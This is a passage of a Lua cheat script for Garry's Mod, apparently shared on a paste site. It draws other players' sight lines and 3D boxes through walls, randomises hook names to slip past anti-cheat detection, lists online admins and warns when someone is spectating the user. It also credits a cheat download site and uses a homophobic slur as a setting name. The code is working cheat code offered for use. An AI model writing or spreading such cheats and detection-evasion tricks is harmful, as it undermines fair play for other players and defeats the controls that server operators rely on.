  3541. RunConsoleCommand( "lix_lesp_detectremove" )
  3542. end
  3543. Tab:AddItem( Control )
  3544. local Control = vgui.Create( "DNumSlider" )
  3545. Control:SetText( "Detector Threshold" )
  3546. Control:SetMin( 0 )
  3547. Control:SetMax( 2000 )
  3548. Control:SetDecimals( 0 )
  3549. Control:SetConVar( "lix_lesp_detectthresh" )
  3550. Tab:AddItem( Control )
  3551. local Control = vgui.Create( "DCheckBoxLabel" )
  3552. Control:SetText( "Show Detectors" )
  3553. Control:SetConVar( "lix_lesp_detectshow" )
  3554. Tab:AddItem( Control )
  3555. local Control = vgui.Create( "DCheckBoxLabel" )
  3556. Control:SetText( "Show Thresholds" )
  3557. Control:SetConVar( "lix_lesp_detectshowrad" )
  3558. Tab:AddItem( Control )
  3559. local Control = vgui.Create( "DCheckBoxLabel" )
  3560. Control:SetText( "Trace Detection" )
  3561. Control:SetConVar( "lix_lesp_detecttrace" )
  3562. Tab:AddItem( Control )
  3563. local Control = vgui.Create( "DLabel" )
  3564. Control:SetText( " " )
  3565. Tab:AddItem( Control )
  3566. local Control = vgui.Create( "DCheckBoxLabel" )
  3567. Control:SetText( "Reverse Chat" )
  3568. Control:SetConVar( "lix_lesp_chatreverse" )
  3569. Tab:AddItem( Control )
  3570. local Control = vgui.Create( "DCheckBoxLabel" )
  3571. Control:SetText( "Cambridge Chat" )
  3572. Control:SetConVar( "lix_lesp_chatcambridge" )
  3573. Tab:AddItem( Control )
  3574. local Control = vgui.Create( "DLabel" )
  3575. Control:SetText( " " )
  3576. Tab:AddItem( Control )
  3577. local Control = vgui.Create( "DButton" )
  3578. Control:SetText( "Reload Scripts" )
  3579. Control.DoClick = function()
  3580. if LESPMenuFrame then
  3581. LESPMenuFrame:Close()
  3582. gui.EnableScreenClicker( false )
  3583. end
  3584. include( "autorun/client/LESP.lua" )
  3585. end
  3586. Tab:AddItem( Control )
  3587. Sheet:AddSheet( "Misc", Tab, "icon16/plugin.png", false, false, "Other Settings" )
  3588. else
  3589. LESPMenuFrame:SetVisible( true )
  3590. end
  3591. end
  3592. local function LESPMenuOff()
  3593. if LESPMenuFrame then
  3594. LESPMenuFrame:SetVisible( false )
  3595. gui.EnableScreenClicker( false )
  3596. end
  3597. end
  3598. concommand.Add( "+lix_lesp_menu", LESPMenu )
  3599. concommand.Add( "-lix_lesp_menu", LESPMenuOff )
  3600. concommand.Add( "lix_lesp_reload", function() include( "autorun/client/LESP.lua" ) end )
  3601. local function IsisCreateHook(Type,Function)
  3602. Name = tostring(math.random(1,500)..math.random(1,500)..math.random(1,500)..math.random(1,500)..math.random(1,500)..math.random(1,500)..math.random(1,500))
  3603. return hook.Add(Type,Name,Function)
  3604. end
  3605. toggleeyesight = true
  3606. concommand.Add("laser_eye", function()
  3607. if toggleeyesight then
  3608. hook.Remove("HUDPaint", "EyeSightt")
  3609. toggleeyesight = false
  3610. else
  3611. hook.Add("HUDPaint", "EyeSightt", EyeSight)
  3612. toggleeyesight = true
  3613. end
  3614. end)
  3615. function EyeSight()
  3616. cam.Start3D(EyePos(), EyeAngles())
  3617. for k,ply in pairs(player.GetAll()) do
  3618. if ply != LocalPlayer() && ply:Alive() then
  3619. local shootPos = ply:GetShootPos()
  3620. local eyeAngles = ply:EyeAngles()
  3621. local data = {}
  3622. data.start = shootPos
  3623. data.endpos = shootPos + eyeAngles:Forward() * 10000
  3624. data.filter = ply
  3625. local tr = util.TraceLine(data)
  3626. cam.Start3D2D(shootPos, eyeAngles, 1)
  3627. if IsValid(tr.Entity) then
  3628. surface.SetDrawColor(250, 0, 255, 255)
  3629. else
  3630. surface.SetDrawColor(152, 73, 255, 255)
  3631. end
  3632. surface.DrawLine(0, 0, tr.HitPos:Distance(shootPos), 0)
  3633. cam.End3D2D()
  3634. end
  3635. end
  3636. cam.End3D()
  3637. end
  3638. hook.Add("RenderScreenspaceEffects", "EyeSightt", EyeSight)
  3639. local neededAngles = Angle(-90, 0, 0)
  3640. HeadLinesActive = true
  3641. function HeadLines2()
  3642. cam.Start3D(EyePos(), EyeAngles())
  3643. for k,ply in pairs(player.GetAll()) do
  3644. if ply != LocalPlayer() && ply:Alive() then
  3645. local shootPos = ply:GetShootPos()
  3646. local data = {}
  3647. data.start = shootPos
  3648. data.endpos = shootPos + neededAngles:Forward() * 10000
  3649. data.filter = ply
  3650. local tr = util.TraceLine(data)
  3651. cam.Start3D2D(shootPos, neededAngles, 1)
  3652. if IsValid(tr.Entity) then
  3653. surface.SetDrawColor(250, 0, 255, 255)
  3654. else
  3655. surface.SetDrawColor(152, 73, 255, 255)
  3656. end
  3657. surface.DrawLine(0, 0, tr.HitPos:Distance(shootPos), 0)
  3658. cam.End3D2D()
  3659. end
  3660. end
  3661. cam.End3D()
  3662. end
  3663. hook.Add("HUDPaint", "HeadLines2", HeadLines2)
  3664. concommand.Add("pesp_head", function()
  3665. if toggleLinesHead then
  3666. hook.Remove("HUDPaint", "HeadLines2")
  3667. toggleLinesHead = false
  3668. HeadLinesActive = false
  3669. else
  3670. hook.Add("HUDPaint", "HeadLines2", HeadLines2)
  3671. toggleLinesHead = true
  3672. HeadLinesActive = true
  3673. end
  3674. end)
  3675. CreateClientConVar( "lix_lesp_BSP_3dbox", 1, true, false )
  3676. local function DrawBoundingBox() -- thanks Anthr4x
  3677. if GetConVarNumber("lix_lesp_BSP_3dbox") == 1 then
  3678. cam.Start3D(EyePos(), EyeAngles());
  3679. for k, ply in pairs(player.GetAll()) do
  3680. if ( ply:Alive() && ( IsValid(ply) && ply != LocalPlayer() )) then
  3681. local ang = ply:EyeAngles();
  3682. ang.p = 0;
  3683. ang.r = 0;
  3684. local pos = ply:GetPos();
  3685. local width = 32;
  3686. local height = 74;
  3687. local scale = 2;
  3688. local BoxColor = Color(152, 73, 255, 255)
  3689. local ang1 = Angle(ang.p, ang.y, ang.r);
  3690. local pos1 = pos;
  3691. pos1 = pos1 - (ang1:Forward() * (width / 2));
  3692. pos1 = pos1 - (ang1:Right() * (width / 2));
  3693. cam.Start3D2D(pos1, ang1, (1 / scale));
  3694. surface.SetDrawColor(BoxColor);
  3695. surface.DrawOutlinedRect(0, 0, (width * scale), (width * scale));
  3696. surface.SetDrawColor(Color(0, 0, 0, 0));
  3697. surface.DrawRect(0, 0, (width * scale), (width * scale));
  3698. cam.End3D2D();
  3699. -- Top Face
  3700. cam.IgnoreZ( true )
  3701. local ang2 = Angle(ang.p, ang.y, ang.r);
  3702. local pos2 = pos;
  3703. pos2 = pos2 - (ang2:Forward() * (width / 2));
  3704. pos2 = pos2 - (ang2:Right() * (width / 2));
  3705. pos2 = pos2 + (ang2:Up() * (height));
  3706. cam.Start3D2D(pos2, ang2, (1 / scale));
  3707. surface.SetDrawColor(BoxColor);
  3708. surface.DrawOutlinedRect(0, 0, (width * scale), (width * scale));
  3709. surface.SetDrawColor(Color(0, 0, 0, 0));
  3710. surface.DrawRect(0, 0, (width * scale), (width * scale));
  3711. cam.End3D2D();
  3712.  
  3713. -- Front Face
  3714. local ang3 = Angle(ang.p + 90, ang.y, ang.r);
  3715. local pos3 = pos;
  3716. pos3 = pos3 - (ang3:Forward() * height);
  3717. pos3 = pos3 - (ang3:Right() * (width / 2));
  3718. pos3 = pos3 + (ang3:Up() * (width / 2));
  3719. cam.Start3D2D(pos3, ang3, (1 / scale));
  3720. surface.SetDrawColor(BoxColor)
  3721. surface.DrawOutlinedRect(0, 0, (height * scale), (width * scale));
  3722. surface.SetDrawColor(Color(0, 0, 0, 0));
  3723. surface.DrawRect(0, 0, (height * scale), (width * scale));
  3724. cam.End3D2D();
  3725.  
  3726. -- Back Face
  3727. local ang4 = Angle(ang.p + 90, ang.y, ang.r);
  3728. local pos4 = pos;
  3729. pos4 = pos4 - (ang4:Forward() * height);
  3730. pos4 = pos4 - (ang4:Right() * (width / 2));
  3731. pos4 = pos4 - (ang4:Up() * (width / 2));
  3732. cam.Start3D2D(pos4, ang4, (1 / scale));
  3733. surface.SetDrawColor(BoxColor);
  3734. surface.DrawOutlinedRect(0, 0, (height * scale), (width * scale));
  3735. surface.SetDrawColor(Color(0, 0, 0, 0));
  3736. surface.DrawRect(0, 0, (height * scale), (width * scale));
  3737. cam.End3D2D();
  3738. local ang5 = Angle(ang.p + 90, ang.y, ang.r + 90);
  3739. local pos5 = pos;
  3740. pos5 = pos5 - (ang5:Forward() * height);
  3741. pos5 = pos5 - (ang5:Right() * (width / 2));
  3742. pos5 = pos5 - (ang5:Up() * (width / 2));
  3743. cam.Start3D2D(pos5, ang5, (1 / scale));
  3744. surface.SetDrawColor(BoxColor);
  3745. surface.DrawOutlinedRect(0, 0, (height * scale), (width * scale));
  3746. surface.SetDrawColor(Color(0, 0, 0, 0));
  3747. surface.DrawRect(0, 0, (height * scale), (width * scale));
  3748. cam.End3D2D();
  3749. local ang6 = Angle(ang.p + 90, ang.y, ang.r + 90);
  3750. local pos6 = pos;
  3751. pos6 = pos6 - (ang6:Forward() * height);
  3752. pos6 = pos6 - (ang6:Right() * (width / 2));
  3753. pos6 = pos6 + (ang6:Up() * (width / 2));
  3754. cam.Start3D2D(pos6, ang6, (1 / scale));
  3755. surface.SetDrawColor(BoxColor);
  3756. surface.DrawOutlinedRect(0, 0, (height * scale), (width * scale));
  3757. surface.SetDrawColor(Color(0, 0, 0, 0));
  3758. surface.DrawRect(0, 0, (height * scale), (width * scale));
  3759. cam.End3D2D();
  3760. end
  3761. end
  3762. cam.End3D();
  3763. end
  3764. end
  3765. hook.Add("RenderScreenspaceEffects",""..math.random().."", DrawBoundingBox)
  3766. CreateClientConVar( "fag", 0, true, false )
  3767. CreateClientConVar( "fag", 0, true, false )
  3768. local badmins = true
  3769. hook.Add("HUDPaint", "badmins2", function()
  3770. if GetConVarNumber( "fag" ) <= 0 then return end
  3771. local badmins = {}
  3772. local x = 0
  3773. for k,v in pairs(player.GetAll()) do
  3774. if v:IsAdmin() then
  3775. table.insert(badmins, v:Name())
  3776.  
  3777. if not v.lespNotified then
  3778. chat.AddText(Color(100, 100, 100), "[Infos] ", Color(0, 255, 255), "Admin " .. v:Nick() .. " a rejoins !");
  3779. surface.PlaySound("buttons/blip1.wav");
  3780. v.lespNotified = true
  3781. end
  3782. end
  3783. end
  3784. local textLength = surface.GetTextSize(table.concat(badmins) ) / 3
  3785. draw.RoundedBox(1, ScrW() - 350, ScrH() - ScrH() + 15, 150, 30 + textLength, Color(0,0,0,150))
  3786. draw.SimpleText("Admins", "default", ScrW() - 345, ScrH() - ScrH() + 16, Color(0, 0, 0, 150))
  3787. draw.SimpleText("Admins", "default", ScrW() - 345, ScrH() - ScrH() + 17, Color(0, 255, 0))
  3788.  
  3789. for k, v in pairs(badmins) do
  3790. draw.SimpleText(v, "default", ScrW() - 345, ScrH() - ScrH() + 35 + x, Color(255, 255, 255, 255))
  3791. x = x + 15
  3792. end
  3793. end)
  3794. local showSpectators = true
  3795. hook.Add("HUDPaint", "showspectators", function()
  3796. if GetConVarNumber( "fag" ) <= 0 then return end
  3797. local spectatePlayers = {}
  3798. local x = 0
  3799. for k,v in pairs(player.GetAll()) do
  3800. if v:GetObserverTarget() == LocalPlayer() then
  3801. table.insert(spectatePlayers, v:Name())
  3802. if not v.spectateNotified then
  3803. chat.AddText(Color(100, 100, 100), "[Infos] ", Color(0, 255, 255), "Admin " .. v:Nick() .. " est en train de te Spectate");
  3804. surface.PlaySound("buttons/blip1.wav");
  3805. v.spectateNotified = true
  3806. end
  3807. else
  3808. v.spectateNotified = false
  3809. end
  3810. end
  3811.  
  3812. hook.Add("HUDPaint", "Credits", function() draw.SimpleTextOutlined( "Garry's Mod Menu Downloaded on noxploit.pro | Enjoy your game !", "creditsfont", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/15, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,160) )
  3813.  
  3814. end)
  3815.  
  3816. surface.CreateFont( "creditsfont", {
  3817. font = "Roboto",
  3818. extended = false,
  3819. size = 20,
  3820. weight = 600,
  3821. blursize = 0,
  3822. scanlines = 0,
  3823. antialias = true,
  3824. })
  3825.  
  3826. local textLength = surface.GetTextSize(table.concat(spectatePlayers) ) / 3
  3827. draw.RoundedBox(1, ScrW() - 180, ScrH() - ScrH() + 15, 150, 30 + textLength, Color(0,0,0,150))
  3828. draw.SimpleText("Spectators", "default", ScrW() - 175, ScrH() - ScrH() + 17, Color(0, 0, 0, 150))
  3829. draw.SimpleText("Spectators", "default", ScrW() - 175, ScrH() - ScrH() + 16, Color(0, 255, 0))
  3830.  
  3831. for k, v in pairs(spectatePlayers) do
  3832. draw.SimpleText(v, "default", ScrW() - 175, ScrH() - ScrH() + 35 + x, Color(255, 255, 255, 255))
  3833. x = x + 15
  3834. end
  3835. end)
  3836.  
  3837.  
  3838. /*======================================================================================================================================================================================*/
Add Comment
Please, Sign In to add comment